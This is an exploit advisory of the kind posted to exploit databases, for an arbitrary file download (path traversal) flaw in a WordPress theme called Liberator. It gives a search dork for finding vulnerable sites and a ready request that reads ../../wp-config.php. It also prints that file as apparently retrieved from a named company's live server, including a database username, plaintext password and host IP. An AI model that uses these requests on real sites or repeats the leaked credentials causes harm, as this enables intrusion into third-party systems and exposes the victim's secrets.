WordPress 5.1.1 Liberator Themes Arbitrary File Download

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# Exploit Title : WordPress 5.1.1 Liberator Themes Arbitrary File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/03/2019
# Vendor Homepage : wordpress.org ~ televox.com
# Software Information Link : televox.com/website-design/
televox.com/webvox/wp-content/themes/liberator/readme.txt
# Software Affected Version : 4.x - 5.x - 5.1.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:"/wp-content/themes/liberator/inc/"
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cxsecurity.com/issue/WLB-2019030143

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# Impact :
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* WordPress 5.1.1 Liberator Themes is prone to a vulnerability that lets attackers download arbitrary files because the application

fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files within the context of the

web server process and obtain potentially sensitive informations. * An information exposure is the intentional or unintentional disclosure

 of information to an actor that is not explicitly authorized to have access to that information. * The software has Relative Path Traversal

vulnerability and it uses external input to construct a pathname that should be within a restricted directory, but it does not

properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.

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Vulnerable File =>

/download.php

Vulnerable Parameter =>

?download_file=

# Arbitrary File Download Exploit :
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/PATH/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME]

/wp-content/themes/liberator/inc/php/download.php?download_file=[FILENAME]

/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php

Informations About MySQL Configuration File =>
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** The name of the database for WordPress */
define('DB_NAME', '');

/** MySQL database username */
define('DB_USER', '');

/** MySQL database password */
define('DB_PASSWORD', '');

/** MySQL hostname */
define('DB_HOST', '');

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[+] televox.com/webvox/wp-content/themes/liberator/inc/php/download.php?download_file=../../wp-config.php

** The name of the database for WordPress */
define('DB_NAME', 'wpwestprod');

/** MySQL database username */
define('DB_USER', 'srvwpuser');

/** MySQL database password */
define('DB_PASSWORD', '3ncrypt3d^01');

/** MySQL hostname */
define('DB_HOST', '75.78.178.16');

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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